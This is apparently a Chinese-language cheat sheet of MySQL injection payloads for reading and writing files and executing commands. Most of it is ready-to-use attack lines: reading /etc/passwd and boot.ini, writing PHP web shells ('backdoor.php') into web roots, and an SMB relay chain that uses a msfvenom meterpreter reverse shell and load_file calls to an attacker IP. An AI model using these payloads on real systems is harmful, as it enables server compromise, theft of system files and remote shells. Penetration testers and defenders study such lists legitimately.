MySQL 命令执行及读写文件

读写文件

SELECT LOAD_FILE('/etc/passwd') --
UNION SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo();?>'
UNION SELECT 1,2,3,4,5,0x3c3f70687020706870696e666f28293b203f3e into outfile 'C:\\wamp\\www\\pwnd.php'-- -
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'

读取混淆
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
select load_file(c:\boot.ini)

文件权限
SELECT file_priv FROM mysql.user WHERE user = 'snowwolf'
SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%snowwolf%'

UDF

MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。

利用 UDF 执行系统命令可以参考这篇文章:手动编写 UDF 文件

SMB中继

需要使用 Metasploit 和 smbrelayx 工具。

首先需要生成反向会话:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.10 LPORT=443 -f exe > reverse_shell.exe

然后生成监听器来传递反向会话:

smbrelayx.py -h IP -e ./reverse_shell.exe

然后执行以下命令即可调用监听器:

select load_file('\\\\192.168.8.10\\aa');
select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);
select 'snowwolf' into dumpfile '\\\\192.168.8.10\\aa';
select 'snowwolf' into outfile '\\\\192.168.8.10\\aa';
load data infile '\\\\192.168.8.10\\aa' into table database.table_name;